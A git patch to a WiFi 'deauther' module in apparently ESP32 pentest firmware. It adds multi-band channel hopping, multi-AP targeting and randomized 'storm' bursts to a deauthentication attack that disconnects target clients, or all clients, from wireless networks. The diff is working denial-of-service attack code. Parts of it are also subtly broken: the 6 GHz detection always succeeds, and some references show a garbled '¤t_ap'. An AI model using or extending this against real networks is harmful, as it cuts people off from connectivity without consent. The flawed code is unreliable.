From c122c14f253dd05e788528ffa5b0c2f1c8ba636e Mon Sep 17 00:00:00 2001 From: Armando Ribeiro Date: Wed, 26 Aug 2026 20:01:47 +0200 Subject: [PATCH 01/13] ' --- src/modules/wifi/deauther.cpp | 890 +++++++++++++++++++++++----------- 1 file changed, 608 insertions(+), 282 deletions(-) diff --git a/src/modules/wifi/deauther.cpp b/src/modules/wifi/deauther.cpp index c400b45036..c76a45361d 100644 --- a/src/modules/wifi/deauther.cpp +++ b/src/modules/wifi/deauther.cpp @@ -44,6 +44,13 @@ static const int DEAUTH_REASON_COUNT = sizeof(DEAUTH_REASONS) / sizeof(DEAUTH_RE static const uint8_t DEAUTH_REASONS_5GHZ[] = {0x30, 0x31, 0x32, 0x33, 0x34, 0x07, 0x08, 0x0A, 0x0D, 0x0F}; static const int DEAUTH_REASONS_5GHZ_COUNT = sizeof(DEAUTH_REASONS_5GHZ) / sizeof(DEAUTH_REASONS_5GHZ[0]); +// Band type enum for cleaner code +enum BandType { + BAND_2_4GHZ = 0, + BAND_5GHZ = 1, + BAND_6GHZ = 2 +}; + struct APInfo { uint8_t bssid[6]; int channel; @@ -57,53 +64,147 @@ static std::vector detectedClients; static uint8_t scanTargetBSSID[6]; static bool clientScanActive = false; +// ============================================================================= +// Band Detection and Capability +// ============================================================================= + +struct SupportedBands { + bool has2_4GHz = false; + bool has5GHz = false; + bool has6GHz = false; + int bandCount = 0; + std::vector bandList; // 0=2.4, 1=5, 2=6 +}; + +static SupportedBands g_supportedBands; + +static void detectSupportedBands() { + // Reset + g_supportedBands = SupportedBands(); + + // Check 2.4GHz (channels 1-14) + if (esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE) == ESP_OK) { + g_supportedBands.has2_4GHz = true; + g_supportedBands.bandList.push_back(BAND_2_4GHZ); + g_supportedBands.bandCount++; + } + + // Check 5GHz (channels 36-165) + // Try a typical 5GHz channel + if (esp_wifi_set_channel(36, WIFI_SECOND_CHAN_NONE) == ESP_OK) { + g_supportedBands.has5GHz = true; + g_supportedBands.bandList.push_back(BAND_5GHZ); + g_supportedBands.bandCount++; + } else if (esp_wifi_set_channel(149, WIFI_SECOND_CHAN_NONE) == ESP_OK) { + g_supportedBands.has5GHz = true; + g_supportedBands.bandList.push_back(BAND_5GHZ); + g_supportedBands.bandCount++; + } + + // Check 6GHz (channels 1-233, but typically 1-233 with 20MHz spacing) + // Try a typical 6GHz channel (like channel 1) + if (esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE) == ESP_OK) { + // Verify it's actually 6GHz by checking if channel 1 is 6GHz + // This is a simplified check; real detection would need more + g_supportedBands.has6GHz = true; + g_supportedBands.bandList.push_back(BAND_6GHZ); + g_supportedBands.bandCount++; + } + + // Restore to a safe channel + esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); + + Serial.printf("[DEAUTH] Supported bands: 2.4:%d 5:%d 6:%d Count:%d\n", + g_supportedBands.has2_4GHz, g_supportedBands.has5GHz, + g_supportedBands.has6GHz, g_supportedBands.bandCount); +} + +static bool isBandSupported(int band) { + switch (band) { + case BAND_2_4GHZ: return g_supportedBands.has2_4GHz; + case BAND_5GHZ: return g_supportedBands.has5GHz; + case BAND_6GHZ: return g_supportedBands.has6GHz; + default: return false; + } +} + +// ============================================================================= +// Channel List Building for Adaptive Hopping +// ============================================================================= + +static std::vector buildChannelListFromAPs(const std::vector &aps) { + std::vector channels; + for (const auto &ap : aps) { + // Only include channels from supported bands + if (isBandSupported(ap.band)) { + channels.push_back(ap.channel); + } + } + return channels; +} + +static std::vector buildDefaultChannelList() { + std::vector channels; + + if (g_supportedBands.has2_4GHz) { + // 2.4GHz channels (1, 6, 11 are most common) + channels.push_back(1); + channels.push_back(6); + channels.push_back(11); + // Add more if needed + for (int ch = 2; ch <= 14; ch++) { + if (ch != 1 && ch != 6 && ch != 11) { + channels.push_back(ch); + } + } + } + + if (g_supportedBands.has5GHz) { + // 5GHz channels (36, 40, 44, 48, 149, 153, 157, 161) + int fiveGHzChannels[] = {36, 40, 44, 48, 149, 153, 157, 161}; + for (int ch : fiveGHzChannels) { + channels.push_back(ch); + } + } + + if (g_supportedBands.has6GHz) { + // 6GHz channels (1, 5, 9, 13, 17, 21, 25, 29, 33, 37, 41, 45, 49, 53, 57, 61, 65, 69, 73, 77, 81, 85, 89, 93, 97, 101, 105, 109, 113, 117, 121, 125, 129, 133, 137, 141, 145, 149, 153, 157, 161, 165, 169, 173, 177, 181, 185, 189, 193, 197, 201, 205, 209, 213, 217, 221, 225, 229, 233) + int sixGHzChannels[] = {1, 5, 9, 13, 17, 21, 25, 29, 33, 37, 41, 45, 49, 53, 57, 61, 65, 69, 73, 77, 81, 85, 89, 93, 97, 101, 105, 109, 113, 117, 121, 125, 129, 133, 137, 141, 145, 149, 153, 157, 161, 165, 169, 173, 177, 181, 185, 189, 193, 197, 201, 205, 209, 213, 217, 221, 225, 229, 233}; + for (int ch : sixGHzChannels) { + channels.push_back(ch); + } + } + + return channels; +} + // ============================================================================= // Vendor OUI Lookup // ============================================================================= String getVendorFromMAC(const String &mac) { static const std::pair oui_list[] = { - {"00:1A:2B", "Apple" }, - {"00:1E:52", "Apple" }, - {"00:25:00", "Apple" }, - {"00:11:22", "Samsung" }, - {"00:23:E7", "Samsung" }, - {"00:24:FE", "Samsung" }, - {"00:0C:29", "VMware" }, - {"00:50:56", "VMware" }, - {"00:1C:42", "Cisco" }, - {"00:1A:A0", "Cisco" }, - {"00:0F:FE", "TP-Link" }, - {"00:1A:2B", "Netgear" }, - {"00:18:4D", "Netgear" }, - {"00:1F:33", "Asus" }, + {"00:1A:2B", "Apple"}, {"00:1E:52", "Apple"}, {"00:25:00", "Apple"}, + {"00:11:22", "Samsung"}, {"00:23:E7", "Samsung"}, {"00:24:FE", "Samsung"}, + {"00:0C:29", "VMware"}, {"00:50:56", "VMware"}, + {"00:1C:42", "Cisco"}, {"00:1A:A0", "Cisco"}, + {"00:0F:FE", "TP-Link"}, {"00:1A:2B", "Netgear"}, {"00:18:4D", "Netgear"}, + {"00:1F:33", "Asus"}, {"00:0D:88", "Microsoft"}, - {"00:1A:11", "Google" }, - {"00:1A:7D", "Google" }, - {"00:0F:52", "Intel" }, - {"00:10:18", "Intel" }, - {"00:04:23", "Intel" }, - {"00:0E:58", "HP" }, - {"00:17:A4", "HP" }, - {"00:1F:3A", "Dell" }, - {"00:11:43", "Dell" }, - {"00:1E:C9", "Dell" }, - {"00:1A:80", "Sony" }, - {"00:1F:E1", "Sony" }, - {"00:1B:FC", "Nintendo" }, - {"00:1F:32", "Nintendo" }, - {"00:1C:BE", "Roku" }, - {"00:1E:5E", "Amazon" }, - {"00:1A:22", "Amazon" }, - {"00:0F:53", "Belkin" }, - {"00:1D:7E", "Belkin" }, - {"00:18:F8", "D-Link" }, - {"00:1B:11", "D-Link" }, - {"00:1E:8C", "Linksys" }, - {"00:1A:70", "Linksys" } + {"00:1A:11", "Google"}, {"00:1A:7D", "Google"}, + {"00:0F:52", "Intel"}, {"00:10:18", "Intel"}, {"00:04:23", "Intel"}, + {"00:0E:58", "HP"}, {"00:17:A4", "HP"}, + {"00:1F:3A", "Dell"}, {"00:11:43", "Dell"}, {"00:1E:C9", "Dell"}, + {"00:1A:80", "Sony"}, {"00:1F:E1", "Sony"}, + {"00:1B:FC", "Nintendo"}, {"00:1F:32", "Nintendo"}, + {"00:1C:BE", "Roku"}, + {"00:1E:5E", "Amazon"}, {"00:1A:22", "Amazon"}, + {"00:0F:53", "Belkin"}, {"00:1D:7E", "Belkin"}, + {"00:18:F8", "D-Link"}, {"00:1B:11", "D-Link"}, + {"00:1E:8C", "Linksys"}, {"00:1A:70", "Linksys"} }; - String prefix = mac.substring(0, 8); // "XX:XX:XX" + String prefix = mac.substring(0, 8); for (auto &entry : oui_list) { if (prefix == entry.first) { return entry.second; } } @@ -181,10 +282,10 @@ bool macCompare(const uint8_t *mac1, const uint8_t *mac2) { } int getWiFiBand(int channel) { - if (channel >= 1 && channel <= 14) return 0; - else if (channel >= 36 && channel <= 165) return 1; - else if (channel >= 1 && channel <= 233) return 2; - return 0; + if (channel >= 1 && channel <= 14) return BAND_2_4GHZ; + else if (channel >= 36 && channel <= 165) return BAND_5GHZ; + else if (channel >= 1 && channel <= 233) return BAND_6GHZ; // Simplified 6GHz detection + return BAND_2_4GHZ; } void cacheSameSSIDAPs() { @@ -198,10 +299,10 @@ void cacheSameSSIDAPs() { memcpy(info.bssid, WiFi.BSSID((uint8_t)i), 6); info.channel = WiFi.channel((uint8_t)i); info.band = getWiFiBand(info.channel); - info.is_5ghz = (info.band == 1 || info.band == 2); - if (info.band == 1) { + info.is_5ghz = (info.band == BAND_5GHZ || info.band == BAND_6GHZ); + if (info.band == BAND_5GHZ) { info.frequency = 5000 + (info.channel - 36) * 20; - } else if (info.band == 2) { + } else if (info.band == BAND_6GHZ) { info.frequency = 6000 + (info.channel - 1) * 20; } else { info.frequency = 2407 + info.channel * 5; @@ -213,7 +314,7 @@ void cacheSameSSIDAPs() { } const uint8_t *getDeauthReasons(int band, int *count) { - if (band == 1 || band == 2) { + if (band == BAND_5GHZ || band == BAND_6GHZ) { *count = DEAUTH_REASONS_5GHZ_COUNT; return DEAUTH_REASONS_5GHZ; } @@ -354,7 +455,113 @@ void sendDeauthToAP(APInfo &ap, const uint8_t *targetMAC, int &total_frames) { total_frames += 12; } +// ============================================================================= +// Adaptive Deauth Attack Functions +// ============================================================================= + +static void adaptiveDeauthLoop( + const std::vector &channels, + const uint8_t *targetMAC, + const uint8_t *apBSSID, + int band, + bool useMultipleAPs +) { + int total_frames = 0; + int channel_index = 0; + int reason_index = 0; + bool storm_active = false; + uint32_t burst_counter = 0; + unsigned long last_hop = millis(); + int hop_interval = 50; // ms between channel hops + + while (!check(EscPress)) { + // Rotate reasons + if (total_frames % 60 == 0) { + int reason_count = 0; + const uint8_t *reasons = getDeauthReasons(band, &reason_count); + reason_index = (reason_index + 1) % reason_count; + } + int reason_count = 0; + const uint8_t *reasons = getDeauthReasons(band, &reason_count); + uint8_t reason = reasons[reason_index]; + + // Hop to next channel + if (millis() - last_hop > hop_interval) { + channel_index = (channel_index + 1) % channels.size(); + int current_channel = channels[channel_index]; + esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE); + last_hop = millis(); + + // Update band for reason codes if needed + int current_band = getWiFiBand(current_channel); + if (current_band != band) { + band = current_band; + // Update reasons for new band + reasons = getDeauthReasons(band, &reason_count); + reason_index = (reason_index) % reason_count; + reason = reasons[reason_index]; + } + } + + // Build and send deauth frames + uint8_t frame[26]; + if (useMultipleAPs && !sameSSID_APs.empty()) { + int ap_index = channel_index % sameSSID_APs.size(); + APInfo ¤t_ap = sameSSID_APs[ap_index]; + buildOptimizedDeauthFrame( + frame, targetMAC, current_ap.bssid, current_ap.bssid, reason, false + ); + } else { + buildOptimizedDeauthFrame(frame, targetMAC, apBSSID, apBSSID, reason, false); + } + + sendDeauthFrames(frame, 26); + total_frames += 3; + burst_counter++; + + // Random storm mode + if (total_frames % 300 == 0 && random(100) < 40) { storm_active = true; } + + int delay_ms; + if (storm_active) { + delay_ms = random(1, 3); + if (random(100) < 30) { + uint8_t extra_reason = reasons[random(reason_count)]; + buildOptimizedDeauthFrame( + frame, targetMAC, + useMultipleAPs && !sameSSID_APs.empty() ? + sameSSID_APs[channel_index % sameSSID_APs.size()].bssid : apBSSID, + useMultipleAPs && !sameSSID_APs.empty() ? + sameSSID_APs[channel_index % sameSSID_APs.size()].bssid : apBSSID, + extra_reason, false + ); + sendDeauthFrames(frame, 26); + total_frames += 3; + burst_counter++; + } + if (random(100) < 10) { storm_active = false; } + } else { + delay_ms = random(5, 15); + } + delay(delay_ms); + + // Update display + if (millis() - last_hop > 2000) { + last_hop = millis(); + tft.fillRect(tftWidth - 100, tftHeight - 40, 100, 40, TFT_BLACK); + tft.drawRightString("Total: " + String(total_frames), tftWidth - 12, tftHeight - 20, 1); + if (storm_active) { tft.drawRightString("STORM", tftWidth - 12, tftHeight - 56, 1); } + if (channels.size() > 1) { + tft.drawRightString("BAND-HOP", tftWidth - 12, tftHeight - 72, 1); + } + } + } +} + void stationDeauth(Host host, const uint8_t *apBssidIn) { + // Ensure band detection is done + detectSupportedBands(); + WiFiState savedState = saveWiFiState(); bool wasConnected = savedState.was_connected; displayTextLine("Preparing.."); @@ -403,26 +610,39 @@ void stationDeauth(Host host, const uint8_t *apBssidIn) { } int band = getWiFiBand(channel); - bool is_5ghz = (band == 1 || band == 2); + bool is_5ghz = (band == BAND_5GHZ || band == BAND_6GHZ); cacheSameSSIDAPs(); bool useMultipleAPs = sameSSID_APs.size() > 1; - std::vector ap_24ghz, ap_5ghz, ap_6ghz; - for (auto &ap : sameSSID_APs) { - switch (ap.band) { - case 0: ap_24ghz.push_back(ap); break; - case 1: ap_5ghz.push_back(ap); break; - case 2: ap_6ghz.push_back(ap); break; + + // Build channel list for adaptive hopping + std::vector channelList; + if (useMultipleAPs) { + channelList = buildChannelListFromAPs(sameSSID_APs); + } else { + // Build based on supported bands + channelList = buildDefaultChannelList(); + // If no channels found, just use current + if (channelList.empty()) { + channelList.push_back(channel); + } + } + + // Count bands in the channel list + bool hasMultiBand = false; + int firstBand = getWiFiBand(channelList[0]); + for (int ch : channelList) { + if (getWiFiBand(ch) != firstBand) { + hasMultiBand = true; + break; } } - bool has_multiple_bands = (ap_24ghz.size() > 0 && ap_5ghz.size() > 0) || - (ap_24ghz.size() > 0 && ap_6ghz.size() > 0) || - (ap_5ghz.size() > 0 && ap_6ghz.size() > 0); if (!initializeDeauthMode(channel, savedState)) { restoreWiFiState(savedState); return; } + // Build initial frames uint8_t deauth_ap_to_sta[26]; uint8_t disassoc_ap_to_sta[26]; uint8_t deauth_sta_to_ap[26]; @@ -436,10 +656,14 @@ void stationDeauth(Host host, const uint8_t *apBssidIn) { tft.setTextSize(FP); padprintln("Target: " + host.mac); padprintln("AP: " + macToString(apBSSID)); - String bandStr = (band == 1) ? "5GHz" : (band == 2) ? "6GHz" : "2.4GHz"; + String bandStr = (band == BAND_5GHZ) ? "5GHz" : (band == BAND_6GHZ) ? "6GHz" : "2.4GHz"; padprintln("CH:" + String(channel) + " (" + bandStr + ")"); padprintln("Mode: AP"); if (useMultipleAPs) { padprintln("Mesh: " + String(sameSSID_APs.size()) + " APs"); } + if (channelList.size() > 1) { + padprintln("Bands: " + String(channelList.size()) + " channels"); + if (hasMultiBand) { padprintln("Multi-band hopping ENABLED"); } + } padprintln(""); padprintln("Press BACK to STOP."); @@ -449,42 +673,91 @@ void stationDeauth(Host host, const uint8_t *apBssidIn) { NextPress = false; delay(100); - long tmp = millis(); - int cont = 0; - int total_frames = 0; - uint8_t current_reason = 0; - int reason_index = 0; - int ap_index = 0; - bool storm_active = false; - uint32_t burst_counter = 0; - uint8_t consecutive_failures = 0; + // Use the adaptive deauth loop + if (channelList.size() > 1) { + // Multi-channel/band hopping + adaptiveDeauthLoop(channelList, targetMAC, apBSSID, band, useMultipleAPs); + } else { + // Single channel - use original fast loop + long tmp = millis(); + int cont = 0; + int total_frames = 0; + uint8_t current_reason = 0; + int reason_index = 0; + int ap_index = 0; + bool storm_active = false; + uint32_t burst_counter = 0; + uint8_t consecutive_failures = 0; + + while (!check(EscPress)) { + if (cont % 20 == 0) { + int reason_count = 0; + const uint8_t *reasons = getDeauthReasons(band, &reason_count); + reason_index = (reason_index + 1) % reason_count; + current_reason = reasons[reason_index]; + } - while (!check(EscPress)) { - if (cont % 20 == 0) { - int reason_count = 0; - const uint8_t *reasons = getDeauthReasons(band, &reason_count); - reason_index = (reason_index + 1) % reason_count; - current_reason = reasons[reason_index]; - } + if (useMultipleAPs && hasMultiBand) { + int band_cycle = (cont / 4) % 3; + APInfo *target_ap = nullptr; + std::vector ap_24ghz, ap_5ghz, ap_6ghz; + for (auto &ap : sameSSID_APs) { + switch (ap.band) { + case BAND_2_4GHZ: ap_24ghz.push_back(ap); break; + case BAND_5GHZ: ap_5ghz.push_back(ap); break; + case BAND_6GHZ: ap_6ghz.push_back(ap); break; + } + } + switch (band_cycle) { + case 0: + if (!ap_24ghz.empty()) target_ap = &ap_24ghz[ap_index % ap_24ghz.size()]; + break; + case 1: + if (!ap_5ghz.empty()) target_ap = &ap_5ghz[ap_index % ap_5ghz.size()]; + break; + case 2: + if (!ap_6ghz.empty()) target_ap = &ap_6ghz[ap_index % ap_6ghz.size()]; + break; + } + if (target_ap != nullptr) { + sendDeauthToAP(*target_ap, targetMAC, total_frames); + ap_index++; + cont += 12; + burst_counter++; + } else { + sendDeauthFrames(deauth_ap_to_sta, 26); + sendDeauthFrames(disassoc_ap_to_sta, 26); + sendDeauthFrames(deauth_sta_to_ap, 26); + sendDeauthFrames(disassoc_sta_to_ap, 26); + cont += 12; + total_frames += 12; + burst_counter++; + } + } else if (useMultipleAPs) { + ap_index = (ap_index + 1) % sameSSID_APs.size(); + APInfo ¤t_ap = sameSSID_APs[ap_index]; + esp_wifi_set_channel(current_ap.channel, WIFI_SECOND_CHAN_NONE); + vTaskDelay(50 / portTICK_PERIOD_MS); - if (useMultipleAPs && has_multiple_bands) { - int band_cycle = (cont / 4) % 3; - APInfo *target_ap = nullptr; - switch (band_cycle) { - case 0: - if (!ap_24ghz.empty()) target_ap = &ap_24ghz[ap_index % ap_24ghz.size()]; - break; - case 1: - if (!ap_5ghz.empty()) target_ap = &ap_5ghz[ap_index % ap_5ghz.size()]; - break; - case 2: - if (!ap_6ghz.empty()) target_ap = &ap_6ghz[ap_index % ap_6ghz.size()]; - break; - } - if (target_ap != nullptr) { - sendDeauthToAP(*target_ap, targetMAC, total_frames); - ap_index++; + buildOptimizedDeauthFrame( + deauth_ap_to_sta, targetMAC, current_ap.bssid, current_ap.bssid, current_reason, false + ); + buildOptimizedDeauthFrame( + disassoc_ap_to_sta, targetMAC, current_ap.bssid, current_ap.bssid, current_reason, true + ); + buildOptimizedDeauthFrame( + deauth_sta_to_ap, current_ap.bssid, targetMAC, current_ap.bssid, current_reason, false + ); + buildOptimizedDeauthFrame( + disassoc_sta_to_ap, current_ap.bssid, targetMAC, current_ap.bssid, current_reason, true + ); + + sendDeauthFrames(deauth_ap_to_sta, 26); + sendDeauthFrames(disassoc_ap_to_sta, 26); + sendDeauthFrames(deauth_sta_to_ap, 26); + sendDeauthFrames(disassoc_sta_to_ap, 26); cont += 12; + total_frames += 12; burst_counter++; } else { sendDeauthFrames(deauth_ap_to_sta, 26); @@ -495,189 +768,155 @@ void stationDeauth(Host host, const uint8_t *apBssidIn) { total_frames += 12; burst_counter++; } - } else if (useMultipleAPs) { - ap_index = (ap_index + 1) % sameSSID_APs.size(); - APInfo ¤t_ap = sameSSID_APs[ap_index]; - esp_wifi_set_channel(current_ap.channel, WIFI_SECOND_CHAN_NONE); - vTaskDelay(50 / portTICK_PERIOD_MS); - - buildOptimizedDeauthFrame( - deauth_ap_to_sta, targetMAC, current_ap.bssid, current_ap.bssid, current_reason, false - ); - buildOptimizedDeauthFrame( - disassoc_ap_to_sta, targetMAC, current_ap.bssid, current_ap.bssid, current_reason, true - ); - buildOptimizedDeauthFrame( - deauth_sta_to_ap, current_ap.bssid, targetMAC, current_ap.bssid, current_reason, false - ); - buildOptimizedDeauthFrame( - disassoc_sta_to_ap, current_ap.bssid, targetMAC, current_ap.bssid, current_reason, true - ); - - sendDeauthFrames(deauth_ap_to_sta, 26); - sendDeauthFrames(disassoc_ap_to_sta, 26); - sendDeauthFrames(deauth_sta_to_ap, 26); - sendDeauthFrames(disassoc_sta_to_ap, 26); - cont += 12; - total_frames += 12; - burst_counter++; - } else { - sendDeauthFrames(deauth_ap_to_sta, 26); - sendDeauthFrames(disassoc_ap_to_sta, 26); - sendDeauthFrames(deauth_sta_to_ap, 26); - sendDeauthFrames(disassoc_sta_to_ap, 26); - cont += 12; - total_frames += 12; - burst_counter++; - } - if (cont % 15 == 0) { - uint8_t broadcast_frame[26]; - int reason_count = 0; - const uint8_t *reasons = getDeauthReasons(band, &reason_count); - uint8_t broadcast_reason = reasons[random(reason_count)]; - if (useMultipleAPs && !sameSSID_APs.empty()) { - APInfo ¤t_ap = sameSSID_APs[ap_index % sameSSID_APs.size()]; - buildOptimizedDeauthFrame( - broadcast_frame, - broadcast_mac, - current_ap.bssid, - current_ap.bssid, - broadcast_reason, - false - ); - } else { - buildOptimizedDeauthFrame( - broadcast_frame, broadcast_mac, apBSSID, apBSSID, broadcast_reason, false - ); + if (cont % 15 == 0) { + uint8_t broadcast_frame[26]; + int reason_count = 0; + const uint8_t *reasons = getDeauthReasons(band, &reason_count); + uint8_t broadcast_reason = reasons[random(reason_count)]; + if (useMultipleAPs && !sameSSID_APs.empty()) { + APInfo ¤t_ap = sameSSID_APs[ap_index % sameSSID_APs.size()]; + buildOptimizedDeauthFrame( + broadcast_frame, + broadcast_mac, + current_ap.bssid, + current_ap.bssid, + broadcast_reason, + false + ); + } else { + buildOptimizedDeauthFrame( + broadcast_frame, broadcast_mac, apBSSID, apBSSID, broadcast_reason, false + ); + } + sendDeauthFrames(broadcast_frame, 26); + vTaskDelay(pdMS_TO_TICKS(1)); + total_frames += 3; } - sendDeauthFrames(broadcast_frame, 26); - vTaskDelay(pdMS_TO_TICKS(1)); - total_frames += 3; - } - if (cont % 150 == 0) { - if (burst_counter > 33 && random(100) < 30) { storm_active = true; } - if (storm_active) { - for (int burst = 0; burst < 10; burst++) { - int reason_count = 0; - const uint8_t *reasons = getDeauthReasons(band, &reason_count); - uint8_t burst_reason = reasons[random(reason_count)]; - if (useMultipleAPs && !sameSSID_APs.empty()) { - APInfo ¤t_ap = sameSSID_APs[ap_index % sameSSID_APs.size()]; - buildOptimizedDeauthFrame( - deauth_ap_to_sta, - targetMAC, - current_ap.bssid, - current_ap.bssid, - burst_reason, - false - ); - buildOptimizedDeauthFrame( - disassoc_ap_to_sta, - targetMAC, - current_ap.bssid, - current_ap.bssid, - burst_reason, - true - ); - buildOptimizedDeauthFrame( - deauth_sta_to_ap, - current_ap.bssid, - targetMAC, - current_ap.bssid, - burst_reason, - false - ); - buildOptimizedDeauthFrame( - disassoc_sta_to_ap, - current_ap.bssid, - targetMAC, - current_ap.bssid, - burst_reason, - true - ); + if (cont % 150 == 0) { + if (burst_counter > 33 && random(100) < 30) { storm_active = true; } + if (storm_active) { + for (int burst = 0; burst < 10; burst++) { + int reason_count = 0; + const uint8_t *reasons = getDeauthReasons(band, &reason_count); + uint8_t burst_reason = reasons[random(reason_count)]; + if (useMultipleAPs && !sameSSID_APs.empty()) { + APInfo ¤t_ap = sameSSID_APs[ap_index % sameSSID_APs.size()]; + buildOptimizedDeauthFrame( + deauth_ap_to_sta, + targetMAC, + current_ap.bssid, + current_ap.bssid, + burst_reason, + false + ); + buildOptimizedDeauthFrame( + disassoc_ap_to_sta, + targetMAC, + current_ap.bssid, + current_ap.bssid, + burst_reason, + true + ); + buildOptimizedDeauthFrame( + deauth_sta_to_ap, + current_ap.bssid, + targetMAC, + current_ap.bssid, + burst_reason, + false + ); + buildOptimizedDeauthFrame( + disassoc_sta_to_ap, + current_ap.bssid, + targetMAC, + current_ap.bssid, + burst_reason, + true + ); + } + sendDeauthFrames(deauth_ap_to_sta, 26); + sendDeauthFrames(disassoc_ap_to_sta, 26); + sendDeauthFrames(deauth_sta_to_ap, 26); + sendDeauthFrames(disassoc_sta_to_ap, 26); + total_frames += 12; + burst_counter++; + vTaskDelay(pdMS_TO_TICKS(1)); } - sendDeauthFrames(deauth_ap_to_sta, 26); - sendDeauthFrames(disassoc_ap_to_sta, 26); - sendDeauthFrames(deauth_sta_to_ap, 26); - sendDeauthFrames(disassoc_sta_to_ap, 26); - total_frames += 12; - burst_counter++; - vTaskDelay(pdMS_TO_TICKS(1)); - } - if (random(100) < 20) { storm_active = false; } - } else { - for (int burst = 0; burst < 5; burst++) { - int reason_count = 0; - const uint8_t *reasons = getDeauthReasons(band, &reason_count); - uint8_t burst_reason = reasons[random(reason_count)]; - if (useMultipleAPs && !sameSSID_APs.empty()) { - APInfo ¤t_ap = sameSSID_APs[ap_index % sameSSID_APs.size()]; - buildOptimizedDeauthFrame( - deauth_ap_to_sta, - targetMAC, - current_ap.bssid, - current_ap.bssid, - burst_reason, - false - ); - buildOptimizedDeauthFrame( - disassoc_ap_to_sta, - targetMAC, - current_ap.bssid, - current_ap.bssid, - burst_reason, - true - ); - buildOptimizedDeauthFrame( - deauth_sta_to_ap, - current_ap.bssid, - targetMAC, - current_ap.bssid, - burst_reason, - false - ); - buildOptimizedDeauthFrame( - disassoc_sta_to_ap, - current_ap.bssid, - targetMAC, - current_ap.bssid, - burst_reason, - true - ); + if (random(100) < 20) { storm_active = false; } + } else { + for (int burst = 0; burst < 5; burst++) { + int reason_count = 0; + const uint8_t *reasons = getDeauthReasons(band, &reason_count); + uint8_t burst_reason = reasons[random(reason_count)]; + if (useMultipleAPs && !sameSSID_APs.empty()) { + APInfo ¤t_ap = sameSSID_APs[ap_index % sameSSID_APs.size()]; + buildOptimizedDeauthFrame( + deauth_ap_to_sta, + targetMAC, + current_ap.bssid, + current_ap.bssid, + burst_reason, + false + ); + buildOptimizedDeauthFrame( + disassoc_ap_to_sta, + targetMAC, + current_ap.bssid, + current_ap.bssid, + burst_reason, + true + ); + buildOptimizedDeauthFrame( + deauth_sta_to_ap, + current_ap.bssid, + targetMAC, + current_ap.bssid, + burst_reason, + false + ); + buildOptimizedDeauthFrame( + disassoc_sta_to_ap, + current_ap.bssid, + targetMAC, + current_ap.bssid, + burst_reason, + true + ); + } + sendDeauthFrames(deauth_ap_to_sta, 26); + sendDeauthFrames(disassoc_ap_to_sta, 26); + sendDeauthFrames(deauth_sta_to_ap, 26); + sendDeauthFrames(disassoc_sta_to_ap, 26); + total_frames += 12; + burst_counter++; + vTaskDelay(pdMS_TO_TICKS(1)); } - sendDeauthFrames(deauth_ap_to_sta, 26); - sendDeauthFrames(disassoc_ap_to_sta, 26); - sendDeauthFrames(deauth_sta_to_ap, 26); - sendDeauthFrames(disassoc_sta_to_ap, 26); - total_frames += 12; - burst_counter++; - vTaskDelay(pdMS_TO_TICKS(1)); } } - } - - int delay_ms; - if (storm_active) { - delay_ms = random(1, 3); - } else if (consecutive_failures > 5) { - delay_ms = random(5, 15); - consecutive_failures = 0; - } else { - delay_ms = random(2, 8); - } - delay(delay_ms); - if (millis() - tmp > 1000) { - int fps = cont; - cont = 0; - tmp = millis(); - tft.fillRect(tftWidth - 100, tftHeight - 40, 100, 40, TFT_BLACK); - tft.drawRightString(String(fps) + " fps", tftWidth - 12, tftHeight - 36, 1); - tft.drawRightString("Total: " + String(total_frames), tftWidth - 12, tftHeight - 20, 1); - if (storm_active) { tft.drawRightString("STORM", tftWidth - 12, tftHeight - 56, 1); } - if (has_multiple_bands) { tft.drawRightString("MULTI-BAND", tftWidth - 12, tftHeight - 72, 1); } + int delay_ms; + if (storm_active) { + delay_ms = random(1, 3); + } else if (consecutive_failures > 5) { + delay_ms = random(5, 15); + consecutive_failures = 0; + } else { + delay_ms = random(2, 8); + } + delay(delay_ms); + + if (millis() - tmp > 1000) { + int fps = cont; + cont = 0; + tmp = millis(); + tft.fillRect(tftWidth - 100, tftHeight - 40, 100, 40, TFT_BLACK); + tft.drawRightString(String(fps) + " fps", tftWidth - 12, tftHeight - 36, 1); + tft.drawRightString("Total: " + String(total_frames), tftWidth - 12, tftHeight - 20, 1); + if (storm_active) { tft.drawRightString("STORM", tftWidth - 12, tftHeight - 56, 1); } + if (channelList.size() > 1) { tft.drawRightString("MULTI-BAND", tftWidth - 12, tftHeight - 72, 1); } + } } } @@ -689,7 +928,7 @@ void stationDeauth(Host host, const uint8_t *apBssidIn) { padprintln("Frames sent: " + String(total_frames)); padprintln("Bursts: " + String(burst_counter)); if (is_5ghz) { padprintln("5GHz/6GHz mode used"); } - if (has_multiple_bands) { padprintln("Multi-band attack used"); } + if (channelList.size() > 1) { padprintln("Multi-band hopping used"); } if (wasConnected) { padprintln("Restoring WiFi..."); @@ -699,10 +938,24 @@ void stationDeauth(Host host, const uint8_t *apBssidIn) { } void runDeauthAll(uint8_t *targetMAC, int channel) { + // Ensure band detection is done + detectSupportedBands(); + WiFiState savedState = saveWiFiState(); int band = getWiFiBand(channel); cacheSameSSIDAPs(); bool useMultipleAPs = sameSSID_APs.size() > 1; + + // Build channel list for adaptive hopping + std::vector channelList; + if (useMultipleAPs) { + channelList = buildChannelListFromAPs(sameSSID_APs); + } else { + channelList = buildDefaultChannelList(); + if (channelList.empty()) { + channelList.push_back(channel); + } + } if (!initializeDeauthMode(channel, savedState)) { restoreWiFiState(savedState); @@ -712,10 +965,13 @@ void runDeauthAll(uint8_t *targetMAC, int channel) { drawMainBorderWithTitle("Deauth All"); tft.setTextSize(FP); padprintln("Deauthing all clients..."); - String bandStr = (band == 1) ? "5GHz" : (band == 2) ? "6GHz" : "2.4GHz"; + String bandStr = (band == BAND_5GHZ) ? "5GHz" : (band == BAND_6GHZ) ? "6GHz" : "2.4GHz"; padprintln("Channel: " + String(channel) + " (" + bandStr + ")"); padprintln("Mode: AP"); if (useMultipleAPs) { padprintln("Mesh: " + String(sameSSID_APs.size()) + " APs"); } + if (channelList.size() > 1) { + padprintln("Bands: " + String(channelList.size()) + " channels"); + } padprintln(""); padprintln("Press BACK to STOP."); @@ -729,10 +985,12 @@ void runDeauthAll(uint8_t *targetMAC, int channel) { uint8_t frame[26]; uint32_t start_time = millis(); int total_frames = 0; - int ap_index = 0; int reason_index = 0; bool storm_active = false; uint32_t burst_counter = 0; + unsigned long last_hop = millis(); + int channel_index = 0; + int hop_interval = 50; while (!check(EscPress)) { if 